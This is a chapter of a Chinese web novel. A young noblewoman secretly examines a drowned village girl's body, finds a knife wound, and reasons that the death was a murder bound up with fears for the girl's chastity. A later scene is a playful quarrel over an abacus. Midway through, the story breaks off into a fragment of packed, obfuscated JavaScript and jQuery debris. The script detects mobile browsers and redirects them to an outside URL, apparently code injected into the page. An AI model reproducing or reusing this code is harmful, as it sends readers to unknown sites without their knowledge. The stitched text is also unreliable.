9. 比命还重要吗?

作品:《春光何处尽

    刘家是四周是用小土墙围砌而成,四周不高,里面三间屋子,春娘的尸体躺在侧屋,棺材还在北郡城内一时间运不过来,这是最好的检尸时机,待棺材来了就会停到主屋,那时尽是哭丧的人。


    所以乔杳杳想要弄明白春娘为什么死还要从春娘下手,必须看尸体。


    乔杳杳站在门外给每个人分工,


    “于伯在里面,一会儿李嬷嬷去找于伯和刘氏夫妇,尽管拖住他们,就说我身体抱恙代为探望吊唁,沉月去守住侧房的门,阿序姐姐……”


    “姐姐害怕吗?”


    姚淮序一眼就能望到乔杳杳的眼底,清澈,干净,他摇头,不怕。


    乔杳杳点头,“那阿序姐姐和我进去。”


    李嬷嬷想说,要不老奴去吧,乔杳杳一眼看穿她的想法,轻拍李嬷嬷的手以示安慰表示自己可以。


    这会儿正堂只有李管事、吴管事和于伯以及刘氏夫妇在商量事宜,刘氏夫妻时不时就哭,进行的并不顺利。


    李管事想拍板子定下王管事也是这个意思,他可不愿在这里呆着,晦气,于伯却不同意,非要和刘氏夫妇好商好量,一步步询问,于伯是乔杳杳的人他们也不敢说些什么,只能一起耗着。


    沉月蹲在地上,乔杳杳踩在她手上,李嬷嬷是从正门进,他们可不行,刘家院子小一进去就能被看见,只能翻墙,还好不高。


    爬到一半沉月有些拖不住,眼看快倒时一股力气推了乔杳杳一把,一下她就爬了上去,紧跟着姚淮序踩了沉月手一跃而上,十分轻盈。


    “沉月,你守在这里就好。”沉月点点头,


    乔杳杳又叫姚淮序,“阿序姐姐。”


    想说旁边有梯子,结果他利索翻身落地后朝她伸手接她,乔杳杳顿了顿,借着力下了土墙,心想,旁边有梯子,算了,阿序姐姐和阿姐一样有力气。


    春娘安安静静的躺在侧房,上面盖一层白布,乔杳杳走进停顿一下缓缓从头掀开,尸体让水泡的发肿,整个面庞又肿又青,很大视觉冲击,乔杳杳闭着眼深呼吸调整好后蹙着眉往下揭。


    上半身衣服完整,略有破损,可能是河里面挣扎划破的,正当她还要往下撩时突然发现春娘腹部衣裳有一处暗点,同其他地方颜色不一样。


    乔杳杳示意姚淮序看这里,姚淮序面不改色点点头。


    乔杳杳深呼吸垫着手帕轻轻掀起衣摆,余光看到姚淮序偏头直直盯着院中,她当他是害怕,于是自己细细看着,


    是一处刀伤,已经干涸,伤口处皮肉外翻,若是自尽又怎么会有刀伤?


    她放下衣摆接着往下查看,露出双手后干脆垫着手帕把春娘的双手向上翻看,河水冲洗的干净只剩下擦痕,这也很可疑,水里面挣扎会有擦痕吗?


    尸体浮肿发白还未擦拭,水腥味道参杂着土屋味道,有些大,乔杳杳胃里翻滚,实在是忍不住了,匆匆把尸体盖上,拉着姚淮序爬梯子翻过院墙后寻了一处呕吐,差点没走到。


    姚淮序还以为她没事,看来都是假的,呕得肠子都要出来,他侧耳听着动静,持续还在吐,沉月顺她背,忍不住担忧着急道,“小姐,你没事儿吧,这怎么成这样了……”


    “呕——呕————”


    吐到酸水也出来才算结束,乔杳杳叫沉月去拿土埋了,实在是失态,不好意思,后面回小院儿的时候一路上她都没说话。


    吃晚饭的时候又吐,还好这次有痰盂,没那么狼狈,但也没好到哪里去。


    姚淮序顿了顿递给她一杯水,心想,这可不是关心她,再吐他也要吐了。


    于伯回郡城通知将军、夫人,李嬷嬷给乔杳杳做了清粥,丸子她是一个也吃不下。给屋子也点上熏香,里里外外收拾换了衣裳才好些。


    姚淮序和乔杳杳换衣裳实在是很不方便,姚淮序在屏风后面换时总要担心乔杳杳会不会偷看,虽然乔杳杳换时他不会偷看,但听着声音也怪异得很。


    他又心想,等春娘的案子一完他就走。


    收拾妥当后,乔杳杳坐在书案上写下今日她发现的问题,


    “刀伤,自尽,花”


    沉月问道,“小姐,刀伤和花是什么?春娘投河是自尽那刀伤是指她身上有伤口,花呢?”


    “院子里养着一个小花圃,我猜是春娘侍弄的。”


    李嬷嬷附和道,“小姐猜的不错,今日我和刘氏夫妇交谈,那花圃正是春娘侍弄,平日里春娘很是上心。”


    姚淮序喝茶,注意力全在乔杳杳身上,没想到她还发现这个,那么匆忙还能抓住花圃这一点,真是……难得。


    只听乔杳杳又道,


    “是了,爱花之人必是细心乐观的,从春娘养得三月春就能看出来,虽然三月春寻常,可生命力顽强最是好养活,花亦如此,更别说挑选三月春的人了。


    假如真是自尽,又怎么会有刀伤,怎么还有心思侍弄花草呢?这必是他杀。”


    说完最后一句,在场的人不免都心惊,庄子上怎么会出这样的事情?!


    “李嬷嬷,刘氏夫妇可有说什么吗?”


    李嬷嬷叹气道,“什么都没有,尤其是刘母,一味地流泪,话都说不囫囵。”


    乔杳杳道,“这就怪了。


    既然咱们能发现的东西更别说是刘氏夫妇,他们不但不怀疑,在听到我说给他们撑腰时也连忙拒绝,这是为什么?”


    “我猜,只有两种可能;


    第一是不敢,春娘如他们所说喜体面可她死得不体面,怕说出来春娘失了面子,可刀伤又怎么会失了体面?怕是里面内有蹊跷;


    第二也是不敢,凶手有权有势,刘氏夫妇恐其手段不敢追究,可在这庄子里还有比我有权有势的吗?也是没有,那么就是怕其他不寻常手段,或是有把柄在对方手里,再或是对方能寻了理由把他们的事情都压下,前者可能是私仇私怨,后者同样需要权势,除了我便是三位管事,那……”


    事情有了苗头,逐渐清晰但还是有什么东西没有串在一起。


    她刚想问问姚淮序有没有什么想法,今日是他和她一同进去的,可就在乔杳杳对上姚淮序那双平静双眸时,如同醍醐灌顶,是了,她知道了,是清白。


    没有比清白对春娘和刘氏夫妇来说更重要的了。


    她靠着“花”在旁边写下“清白”。


    “春娘是庄子上最好看的姑娘,极有可能是因为美貌被人惦记遇害。


    于伯也说人是半晌午发现已经泡的不成模样,定然不是今日才推下水,可能是春娘不从,于是那人拿出刀刺伤春娘,愤怒之下一把把她推进了河里。


    而那刘氏夫妇定是知道这点,若是让其他人也知道自己女儿昨夜未归必是少不了口舌。


    担忧女儿清白名声不报官,也不求公道,可这样就能守住春娘的清白吗?


    比命还重要吗?”


    直到乔杳杳躺在床上都还在想,清白真的比命和抓住凶手还要重要吗?她若是失了清白,父亲母亲定然会给她讨回公道,阿姐和哥哥也定是不饶,那……


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103133|179829||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“阿序姐姐,你觉得呢?刘氏夫妇觉得春娘的清白比命还重要,你觉得呢?”


    姚淮序不说话,乔杳杳又道,“阿序姐姐?苏清序?”


    还是没有应答,难不成睡着了?


    姚淮序闭眼心想道,当然没有,不过世人多苛责,对于女子清白看得极重。


    乔杳杳从小长在北郡,乔将军和乔夫人又开明,若是都城或是盛京都养不出乔杳杳这样的女儿家,明艳,大胆,娇纵,善良,勇敢,有韧性,不惧世俗眼光。她们大多守礼规矩,晓通诗经女戒,她们也学骑射,可没有哪个像乔杳杳一样如此明媚。


    比江湖儿女多娇气,比世家贵女多肆意。


    只有北郡乔家能养出这样的儿女,大女儿在军营穿甲带兵,三女儿在庄子上勇斗管事。


    他知道她在为什么疑惑,为什么心中不平。


    可他不愿意回答,夜深了,要睡觉了。


    乔杳杳睡不着,爬起来拿了书案上的红珠算盘盘弄起来。一手按着书一手拨弄,珠子噼里啪啦作响,姚淮序听着声音翻来覆去,拉起被子捂住脑袋半响又拉下去。


    到底有没有完?!大晚上算什么帐?!别人睡不睡了?!


    戾气极重的他怒坐起身,一回身看见灯烛映着乔杳杳小巧的下巴投射在旁边屏风上,红珠子上上下下滑落,纤细素白的手指起起伏伏,那双明眸灵动。


    他没忍住,下床随意拽过一纸一笔写道,“还睡不睡了?”


    起笔走势锋利,顺滑宛如游龙,难掩心烦。


    乔杳杳看不出来似的,嘿嘿一笑,“阿序姐姐,这个没算完,明天还要用,我再算一会儿就睡。”


    再算一会儿?姚淮序蹙眉心烦,半盏茶的时间都没等够直接一把抢过乔杳杳手里算盘账本噼里啪啦算起来。


    乔杳杳看着他熟练又轻巧的手像弹古筝一样滑弄珠子,声音清脆,手指飞快。


    “阿序姐姐,你也会算数吗?”


    姚淮序不理她,心想,他是蠢货吗?这个都不会?


    “等等等等……”


    乔杳杳一把按住算盘,“这个算法我没见过,你重新来。”


    姚淮序有心卖弄一时将宫里先生教的算数技巧展示出来,乔杳杳看的专心致志,这个算法她从来都没有见过!这可是撞在她心巴上,拿住了她命门,勾起了她的兴趣。


    “姐姐,你教教我这个吧!”


    姚淮序隔着书案弯腰凑近她,烛心的光投在他俩中间,越来越近,越来越近,他勾唇无声一笑,做无声口语,


    “做梦!”


    乔杳杳瞪大眼睛,一时间没反应过来,刚刚她那么真诚!


    心里恼火一抬手就想推眼前人,手刚伸出去姚淮序已经利索转身大大方方躺在床上。


    “苏清序!你怎么这么讨厌?!”乔杳杳拿地铺上的枕头去砸床上那人,还没到床边就看见那人举起本该在书案上红珠算盘。


    乔杳杳停在原地,换上一张笑脸,谄媚道,“姐姐,好姐姐,我知道你肯定会教我的,对吧?”说着她还往前凑了两下。


    姚淮序翻身面朝里,嘴角怎么也压不下去,伸手把红珠算盘扔向地铺。


    力道不大不小,乔杳杳刚好接住,抱着算盘心甘情愿躺在地铺上。


    临睡时乔杳杳想起来姚淮序耳朵没有耳洞,小声道,“姐姐,我给你穿个耳洞吧,穿了就能带更漂亮的耳饰,比耳夹好看。”


    没人回应,她不死心,又道,


    “姐姐?”